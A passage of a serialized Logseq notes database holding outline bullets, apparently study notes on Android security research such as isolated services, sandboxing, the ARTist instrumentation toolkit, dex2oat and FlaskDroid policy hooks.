serviceslogseq____",536878164]],[logseq____"^15logseq____",[879,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[879,logseq____"^Flogseq____",870,536878164]],[logseq____"^15logseq____",[879,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[879,logseq____"^Vlogseq____",881,536878164]],[logseq____"^15logseq____",[879,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[879,logseq____"^;logseq____",logseq____"~u67bd79bb-a31f-471e-a168-9d6ee760a02clogseq____",536878164]],[logseq____"^15logseq____",[880,logseq____"^Qlogseq____",logseq____"Goes over Androids access control checkslogseq____",536878164]],[logseq____"^15logseq____",[880,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[880,logseq____"^Flogseq____",871,536878164]],[logseq____"^15logseq____",[880,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[880,logseq____"^Vlogseq____",871,536878164]],[logseq____"^15logseq____",[880,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[880,logseq____"^;logseq____",logseq____"~u67bd79bb-6d98-4717-b941-5ad80083b705logseq____",536878164]],[logseq____"^15logseq____",[881,logseq____"^Qlogseq____",logseq____"Run with distinct, transient UID in special UID range with dedicated SELinux typelogseq____",536878164]],[logseq____"^15logseq____",[881,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[881,logseq____"^Flogseq____",885,536878164]],[logseq____"^15logseq____",[881,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[881,logseq____"^Vlogseq____",866,536878164]],[logseq____"^15logseq____",[881,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[881,logseq____"^;logseq____",logseq____"~u67bd79bb-3cd3-44c9-afe2-a399d503e896logseq____",536878164]],[logseq____"^15logseq____",[882,logseq____"^Qlogseq____",logseq____"Syscall Shim: Divert syscalls to brokerlogseq____",536878164]],[logseq____"^15logseq____",[882,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[882,logseq____"^Flogseq____",873,536878164]],[logseq____"^15logseq____",[882,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[882,logseq____"^Vlogseq____",888,536878164]],[logseq____"^15logseq____",[882,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[882,logseq____"^;logseq____",logseq____"~u67bd79bb-9074-4864-ac6b-400cb202c96blogseq____",536878164]],[logseq____"^15logseq____",[883,logseq____"^Qlogseq____",logseq____"Full Kernel attack surfacelogseq____",536878164]],[logseq____"^15logseq____",[883,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[883,logseq____"^Flogseq____",877,536878164]],[logseq____"^15logseq____",[883,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[883,logseq____"^Vlogseq____",871,536878164]],[logseq____"^15logseq____",[883,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[883,logseq____"^;logseq____",logseq____"~u67bd79bb-9812-4efa-8ff6-ce93be4dc232logseq____",536878164]],[logseq____"^15logseq____",[884,logseq____"^Qlogseq____",logseq____"Persence of Host app detectablelogseq____",536878164]],[logseq____"^15logseq____",[884,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[884,logseq____"^Flogseq____",883,536878164]],[logseq____"^15logseq____",[884,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[884,logseq____"^Vlogseq____",871,536878164]],[logseq____"^15logseq____",[884,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[884,logseq____"^;logseq____",logseq____"~u67bd79bb-a54e-4598-8d17-12603d5dbf4elogseq____",536878164]],[logseq____"^15logseq____",[885,logseq____"^Qlogseq____",logseq____"Allow service components to run isolated from rest of applicationlogseq____",536878164]],[logseq____"^15logseq____",[885,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[885,logseq____"^Flogseq____",866,536878164]],[logseq____"^15logseq____",[885,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[885,logseq____"^Vlogseq____",866,536878164]],[logseq____"^15logseq____",[885,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[885,logseq____"^;logseq____",logseq____"~u67bd79bb-d9d5-42d0-ac04-8849c84b1229logseq____",536878164]],[logseq____"^15logseq____",[886,logseq____"^Qlogseq____",logseq____"Sandbox Service: Control channel for loading/terminating appslogseq____",536878164]],[logseq____"^15logseq____",[886,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[886,logseq____"^Flogseq____",882,536878164]],[logseq____"^15logseq____",[886,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[886,logseq____"^Vlogseq____",888,536878164]],[logseq____"^15logseq____",[886,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[886,logseq____"^;logseq____",logseq____"~u67bd79bb-d820-4e0a-acd8-3a303089d6b0logseq____",536878164]],[logseq____"^15logseq____",[887,logseq____"^Qlogseq____",logseq____"logseq____",536878164]],[logseq____"^15logseq____",[887,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[887,logseq____"^Flogseq____",872,536878164]],[logseq____"^15logseq____",[887,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[887,logseq____"^Vlogseq____",872,536878164]],[logseq____"^15logseq____",[887,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[887,logseq____"^;logseq____",logseq____"~u67bd79bb-39e3-4629-99d2-c839efb1f254logseq____",536878164]],[logseq____"^15logseq____",[888,logseq____"^Qlogseq____",logseq____"## Targetlogseq____",536878164]],[logseq____"^15logseq____",[888,logseq____"^Ologseq____",logseq____"^16logseq____",536878164]],[logseq____"^15logseq____",[888,logseq____"^Flogseq____",866,536878164]],[logseq____"^15logseq____",[888,logseq____"^Xlogseq____",857,536878164]],[logseq____"^15logseq____",[888,logseq____"^Vlogseq____",857,536878164]],[logseq____"^15logseq____",[888,logseq____"^Ulogseq____",857,536878164]],[logseq____"^15logseq____",[888,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878164]],[logseq____"^15logseq____",[888,logseq____"^Jlogseq____",[],536878164]],[logseq____"^15logseq____",[888,logseq____"^;logseq____",logseq____"~u67bd79bb-4b0e-4f5e-9298-9a10ab9eb819logseq____",536878164]],[logseq____"^15logseq____",[890,logseq____"^Qlogseq____",logseq____"## ARTist (ART Instrumentation and Security Toolkit)logseq____",536878166]],[logseq____"^15logseq____",[890,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[890,logseq____"^Flogseq____",894,536878166]],[logseq____"^15logseq____",[890,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[890,logseq____"^Vlogseq____",856,536878166]],[logseq____"^15logseq____",[890,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[890,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878166]],[logseq____"^15logseq____",[890,logseq____"^Jlogseq____",[],536878166]],[logseq____"^15logseq____",[890,logseq____"^;logseq____",logseq____"~u67bd79bc-3d08-4889-8a04-3470626038d0logseq____",536878166]],[logseq____"^15logseq____",[891,logseq____"^Qlogseq____",logseq____"For improved performance and battery lifelogseq____",536878166]],[logseq____"^15logseq____",[891,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[891,logseq____"^Flogseq____",903,536878166]],[logseq____"^15logseq____",[891,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[891,logseq____"^Vlogseq____",905,536878166]],[logseq____"^15logseq____",[891,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[891,logseq____"^;logseq____",logseq____"~u67bd79bc-a925-4ffa-8541-88a681ddb6f4logseq____",536878166]],[logseq____"^15logseq____",[892,logseq____"^Qlogseq____",logseq____"Ship compiler as app and pick apps to generate alternative oat file (run via virtualization)logseq____",536878166]],[logseq____"^15logseq____",[892,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[892,logseq____"^Flogseq____",901,536878166]],[logseq____"^15logseq____",[892,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[892,logseq____"^Vlogseq____",890,536878166]],[logseq____"^15logseq____",[892,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[892,logseq____"^;logseq____",logseq____"~u67bd79bc-6d07-4011-96a9-52cd5f6bfa12logseq____",536878166]],[logseq____"^15logseq____",[893,logseq____"^Qlogseq____",logseq____"Simple APIlogseq____",536878166]],[logseq____"^15logseq____",[893,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[893,logseq____"^Flogseq____",907,536878166]],[logseq____"^15logseq____",[893,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[893,logseq____"^Vlogseq____",890,536878166]],[logseq____"^15logseq____",[893,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[893,logseq____"^;logseq____",logseq____"~u67bd79bc-acd1-40e4-be7d-5e66a6d2e8ablogseq____",536878166]],[logseq____"^15logseq____",[894,logseq____"^Qlogseq____",logseq____"## Compilerlogseq____",536878166]],[logseq____"^15logseq____",[894,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[894,logseq____"^Flogseq____",897,536878166]],[logseq____"^15logseq____",[894,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[894,logseq____"^Vlogseq____",856,536878166]],[logseq____"^15logseq____",[894,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[894,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878166]],[logseq____"^15logseq____",[894,logseq____"^Jlogseq____",[],536878166]],[logseq____"^15logseq____",[894,logseq____"^;logseq____",logseq____"~u67bd79bc-4475-4dad-82ac-8dc92ef30c14logseq____",536878166]],[logseq____"^15logseq____",[895,logseq____"^Qlogseq____",logseq____"Optimizes Instruction Reorderinglogseq____",536878166]],[logseq____"^15logseq____",[895,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[895,logseq____"^Flogseq____",904,536878166]],[logseq____"^15logseq____",[895,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[895,logseq____"^Vlogseq____",897,536878166]],[logseq____"^15logseq____",[895,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[895,logseq____"^;logseq____",logseq____"~u67bd79bc-ea98-4a0b-952f-702dc0adf50dlogseq____",536878166]],[logseq____"^15logseq____",[896,logseq____"^Qlogseq____",logseq____"Instrumentation happens in Optimizing Backendlogseq____",536878166]],[logseq____"^15logseq____",[896,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[896,logseq____"^Flogseq____",895,536878166]],[logseq____"^15logseq____",[896,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[896,logseq____"^Vlogseq____",897,536878166]],[logseq____"^15logseq____",[896,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[896,logseq____"^;logseq____",logseq____"~u67bd79bc-4a91-450c-85ab-13bdd858070dlogseq____",536878166]],[logseq____"^15logseq____",[897,logseq____"^Qlogseq____",logseq____"## Dex2oatlogseq____",536878166]],[logseq____"^15logseq____",[897,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[897,logseq____"^Flogseq____",905,536878166]],[logseq____"^15logseq____",[897,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[897,logseq____"^Vlogseq____",856,536878166]],[logseq____"^15logseq____",[897,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[897,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878166]],[logseq____"^15logseq____",[897,logseq____"^Jlogseq____",[],536878166]],[logseq____"^15logseq____",[897,logseq____"^;logseq____",logseq____"~u67bd79bc-878e-4a15-8af5-ea9d974048a4logseq____",536878166]],[logseq____"^15logseq____",[898,logseq____"^Qlogseq____",logseq____"Runs on stock-deviceslogseq____",536878166]],[logseq____"^15logseq____",[898,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[898,logseq____"^Flogseq____",908,536878166]],[logseq____"^15logseq____",[898,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[898,logseq____"^Vlogseq____",894,536878166]],[logseq____"^15logseq____",[898,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[898,logseq____"^;logseq____",logseq____"~u67bd79bc-3bac-441f-b130-62604bc06b4blogseq____",536878166]],[logseq____"^15logseq____",[899,logseq____"^Qlogseq____",logseq____"Dex2oat compiler uses different compilation backends and code generators to transform dex into oat fileslogseq____",536878166]],[logseq____"^15logseq____",[899,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[899,logseq____"^Flogseq____",891,536878166]],[logseq____"^15logseq____",[899,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[899,logseq____"^Vlogseq____",905,536878166]],[logseq____"^15logseq____",[899,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[899,logseq____"^;logseq____",logseq____"~u67bd79bc-1e53-482e-a558-28dc55b06ea0logseq____",536878166]],[logseq____"^15logseq____",[900,logseq____"^Qlogseq____",logseq____"Can Inject whole libraries(as preprocessing step) or method invocationslogseq____",536878166]],[logseq____"^15logseq____",[900,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[900,logseq____"^Flogseq____",890,536878166]],[logseq____"^15logseq____",[900,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[900,logseq____"^Vlogseq____",890,536878166]],[logseq____"^15logseq____",[900,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[900,logseq____"^;logseq____",logseq____"~u67bd79bc-821a-49c5-961a-c9ca287f9600logseq____",536878166]],[logseq____"^15logseq____",[901,logseq____"^Qlogseq____",logseq____"Support for moduleslogseq____",536878166]],[logseq____"^15logseq____",[901,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[901,logseq____"^Flogseq____",893,536878166]],[logseq____"^15logseq____",[901,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[901,logseq____"^Vlogseq____",890,536878166]],[logseq____"^15logseq____",[901,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[901,logseq____"^;logseq____",logseq____"~u67bd79bc-7f28-4f64-bb37-86c3e19c0462logseq____",536878166]],[logseq____"^15logseq____",[902,logseq____"^Qlogseq____",logseq____"App signature preservationlogseq____",536878166]],[logseq____"^15logseq____",[902,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[902,logseq____"^Flogseq____",894,536878166]],[logseq____"^15logseq____",[902,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[902,logseq____"^Vlogseq____",894,536878166]],[logseq____"^15logseq____",[902,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[902,logseq____"^;logseq____",logseq____"~u67bd79bc-c2ab-4021-b971-b14ede071e4alogseq____",536878166]],[logseq____"^15logseq____",[903,logseq____"^Qlogseq____",logseq____"Natively run compiled codelogseq____",536878166]],[logseq____"^15logseq____",[903,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[903,logseq____"^Flogseq____",905,536878166]],[logseq____"^15logseq____",[903,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[903,logseq____"^Vlogseq____",905,536878166]],[logseq____"^15logseq____",[903,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[903,logseq____"^;logseq____",logseq____"~u67bd79bc-1f7a-4c80-b61a-df169397671flogseq____",536878166]],[logseq____"^15logseq____",[904,logseq____"^Qlogseq____",logseq____"Runs during installationlogseq____",536878166]],[logseq____"^15logseq____",[904,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[904,logseq____"^Flogseq____",897,536878166]],[logseq____"^15logseq____",[904,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[904,logseq____"^Vlogseq____",897,536878166]],[logseq____"^15logseq____",[904,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[904,logseq____"^;logseq____",logseq____"~u67bd79bc-078c-43e2-bd85-fecd4cdc3ab0logseq____",536878166]],[logseq____"^15logseq____",[905,logseq____"^Qlogseq____",logseq____"## ART (Android Runtime)logseq____",536878166]],[logseq____"^15logseq____",[905,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[905,logseq____"^Flogseq____",856,536878166]],[logseq____"^15logseq____",[905,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[905,logseq____"^Vlogseq____",856,536878166]],[logseq____"^15logseq____",[905,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[905,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878166]],[logseq____"^15logseq____",[905,logseq____"^Jlogseq____",[],536878166]],[logseq____"^15logseq____",[905,logseq____"^;logseq____",logseq____"~u67bd79bc-b78f-442e-b7d5-6b9d4c99a81alogseq____",536878166]],[logseq____"^15logseq____",[906,logseq____"^Qlogseq____",logseq____"Close to no runtime overhead for instrumentationlogseq____",536878166]],[logseq____"^15logseq____",[906,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[906,logseq____"^Flogseq____",902,536878166]],[logseq____"^15logseq____",[906,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[906,logseq____"^Vlogseq____",894,536878166]],[logseq____"^15logseq____",[906,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[906,logseq____"^;logseq____",logseq____"~u67bd79bc-5cda-4afa-a821-41e5e4d831ablogseq____",536878166]],[logseq____"^15logseq____",[907,logseq____"^Qlogseq____",logseq____"Full access to CFG for modificationslogseq____",536878166]],[logseq____"^15logseq____",[907,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[907,logseq____"^Flogseq____",900,536878166]],[logseq____"^15logseq____",[907,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[907,logseq____"^Vlogseq____",890,536878166]],[logseq____"^15logseq____",[907,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[907,logseq____"^;logseq____",logseq____"~u67bd79bc-b10c-455a-a2fe-d39d3b6b70felogseq____",536878166]],[logseq____"^15logseq____",[908,logseq____"^Qlogseq____",logseq____"Non-intrusive / easily revertiblelogseq____",536878166]],[logseq____"^15logseq____",[908,logseq____"^Ologseq____",logseq____"^16logseq____",536878166]],[logseq____"^15logseq____",[908,logseq____"^Flogseq____",906,536878166]],[logseq____"^15logseq____",[908,logseq____"^Xlogseq____",856,536878166]],[logseq____"^15logseq____",[908,logseq____"^Vlogseq____",894,536878166]],[logseq____"^15logseq____",[908,logseq____"^Ulogseq____",856,536878166]],[logseq____"^15logseq____",[908,logseq____"^;logseq____",logseq____"~u67bd79bc-50bf-49f3-bafe-c16c22a014c5logseq____",536878166]],[logseq____"^15logseq____",[910,logseq____"^Qlogseq____",logseq____"Reverse engineering appslogseq____",536878168]],[logseq____"^15logseq____",[910,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[910,logseq____"^Flogseq____",914,536878168]],[logseq____"^15logseq____",[910,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[910,logseq____"^Vlogseq____",933,536878168]],[logseq____"^15logseq____",[910,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[910,logseq____"^;logseq____",logseq____"~u67bd79bc-bdb3-4210-94f6-628abefa95a4logseq____",536878168]],[logseq____"^15logseq____",[911,logseq____"^Qlogseq____",logseq____"### Problems with Inlined Monitorslogseq____",536878168]],[logseq____"^15logseq____",[911,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[911,logseq____"^Flogseq____",927,536878168]],[logseq____"^15logseq____",[911,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[911,logseq____"^Vlogseq____",944,536878168]],[logseq____"^15logseq____",[911,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[911,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536878168]],[logseq____"^15logseq____",[911,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[911,logseq____"^;logseq____",logseq____"~u67bd79bc-f363-48f0-a07e-60ba05daede8logseq____",536878168]],[logseq____"^15logseq____",[912,logseq____"^Qlogseq____",logseq____"## FlaskDroidlogseq____",536878168]],[logseq____"^15logseq____",[912,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[912,logseq____"^Flogseq____",932,536878168]],[logseq____"^15logseq____",[912,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[912,logseq____"^Vlogseq____",855,536878168]],[logseq____"^15logseq____",[912,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[912,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878168]],[logseq____"^15logseq____",[912,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[912,logseq____"^;logseq____",logseq____"~u67bd79bc-dedd-43d7-8ba2-317045fca769logseq____",536878168]],[logseq____"^15logseq____",[913,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536878168]],[logseq____"^15logseq____",[913,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[913,logseq____"^Flogseq____",855,536878168]],[logseq____"^15logseq____",[913,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[913,logseq____"^Vlogseq____",855,536878168]],[logseq____"^15logseq____",[913,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[913,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878168]],[logseq____"^15logseq____",[913,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[913,logseq____"^;logseq____",logseq____"~u67bd79bc-1bd3-47e2-870a-6282fe0ae3c1logseq____",536878168]],[logseq____"^15logseq____",[914,logseq____"^Qlogseq____",logseq____"Custom, fine-grained(e.g., parameter-sensitive) policieslogseq____",536878168]],[logseq____"^15logseq____",[914,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[914,logseq____"^Flogseq____",935,536878168]],[logseq____"^15logseq____",[914,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[914,logseq____"^Vlogseq____",933,536878168]],[logseq____"^15logseq____",[914,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[914,logseq____"^;logseq____",logseq____"~u67bd79bc-6d36-4781-a85f-373ed225effblogseq____",536878168]],[logseq____"^15logseq____",[915,logseq____"^Qlogseq____",logseq____"Inserts hooks into system services that implement Android Application Framework APIlogseq____",536878168]],[logseq____"^15logseq____",[915,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[915,logseq____"^Flogseq____",926,536878168]],[logseq____"^15logseq____",[915,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[915,logseq____"^Vlogseq____",912,536878168]],[logseq____"^15logseq____",[915,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[915,logseq____"^;logseq____",logseq____"~u67bd79bc-e6cc-43f6-899c-09f8be2a7e0clogseq____",536878168]],[logseq____"^15logseq____",[916,logseq____"^Qlogseq____",logseq____"Extends core reference monitorslogseq____",536878168]],[logseq____"^15logseq____",[916,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[916,logseq____"^Flogseq____",932,536878168]],[logseq____"^15logseq____",[916,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[916,logseq____"^Vlogseq____",932,536878168]],[logseq____"^15logseq____",[916,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[916,logseq____"^;logseq____",logseq____"~u67bd79bc-ff2c-4ab8-9048-daa45b38d771logseq____",536878168]],[logseq____"^15logseq____",[917,logseq____"^Qlogseq____",logseq____"Dynamically loaded codelogseq____",536878168]],[logseq____"^15logseq____",[917,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[917,logseq____"^Flogseq____",938,536878168]],[logseq____"^15logseq____",[917,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[917,logseq____"^Vlogseq____",924,536878168]],[logseq____"^15logseq____",[917,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[917,logseq____"^;logseq____",logseq____"~u67bd79bc-9eb4-4600-a871-ed83e84695bblogseq____",536878168]],[logseq____"^15logseq____",[918,logseq____"^Qlogseq____",logseq____"Would require firmware modifiactionlogseq____",536878168]],[logseq____"^15logseq____",[918,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[918,logseq____"^Flogseq____",943,536878168]],[logseq____"^15logseq____",[918,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[918,logseq____"^Vlogseq____",919,536878168]],[logseq____"^15logseq____",[918,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[918,logseq____"^;logseq____",logseq____"~u67bd79bc-3460-404c-8e9a-27f29c1056f6logseq____",536878168]],[logseq____"^15logseq____",[919,logseq____"^Qlogseq____",logseq____"## OS extensionslogseq____",536878168]],[logseq____"^15logseq____",[919,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[919,logseq____"^Flogseq____",912,536878168]],[logseq____"^15logseq____",[919,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[919,logseq____"^Vlogseq____",855,536878168]],[logseq____"^15logseq____",[919,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[919,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878168]],[logseq____"^15logseq____",[919,logseq____"^Jlogseq____",[],536878168]],[logseq____"^15logseq____",[919,logseq____"^;logseq____",logseq____"~u67bd79bc-a984-460e-afab-02bf82e9f329logseq____",536878168]],[logseq____"^15logseq____",[920,logseq____"^Qlogseq____",logseq____"Dynamic instrumentation requires privilegeslogseq____",536878168]],[logseq____"^15logseq____",[920,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[920,logseq____"^Flogseq____",939,536878168]],[logseq____"^15logseq____",[920,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[920,logseq____"^Vlogseq____",911,536878168]],[logseq____"^15logseq____",[920,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[920,logseq____"^;logseq____",logseq____"~u67bd79bc-aff6-4ab2-a3c4-30a4c7b9710blogseq____",536878168]],[logseq____"^15logseq____",[921,logseq____"^Qlogseq____",logseq____"Requries privileges for privileged componentslogseq____",536878168]],[logseq____"^15logseq____",[921,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[921,logseq____"^Flogseq____",928,536878168]],[logseq____"^15logseq____",[921,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[921,logseq____"^Vlogseq____",924,536878168]],[logseq____"^15logseq____",[921,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[921,logseq____"^;logseq____",logseq____"~u67bd79bc-ab61-483f-b831-655eb7dddecblogseq____",536878168]],[logseq____"^15logseq____",[922,logseq____"^Qlogseq____",logseq____"Rewriter must identify all call-sites (malicious code can include custom implementations of SDK functions with different signatures, native code is hard to cover)logseq____",536878168]],[logseq____"^15logseq____",[922,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[922,logseq____"^Flogseq____",941,536878168]],[logseq____"^15logseq____",[922,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[922,logseq____"^Vlogseq____",911,536878168]],[logseq____"^15logseq____",[922,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[922,logseq____"^;logseq____",logseq____"~u67bd79bc-f0c7-45b0-bfbc-06b1f9caf9d7logseq____",536878168]],[logseq____"^15logseq____",[923,logseq____"^Qlogseq____",logseq____"logseq____",536878168]],[logseq____"^15logseq____",[923,logseq____"^Ologseq____",logseq____"^16logseq____",536878168]],[logseq____"^15logseq____",[923,logseq____"^Flogseq____",918,536878168]],[logseq____"^15logseq____",[923,logseq____"^Xlogseq____",855,536878168]],[logseq____"^15logseq____",[923,logseq____"^Vlogseq____",919,536878168]],[logseq____"^15logseq____",[923,logseq____"^Ulogseq____",855,536878168]],[logseq____"^15logseq____",[923,logseq____"^;logseq____",logseq____"~u67bd79bc-8484-4864-a45e-d9351fe131delogseq____",536878168]],[logseq____"^15logseq____",[924,logseq____"^Qlogseq____",logseq____"### 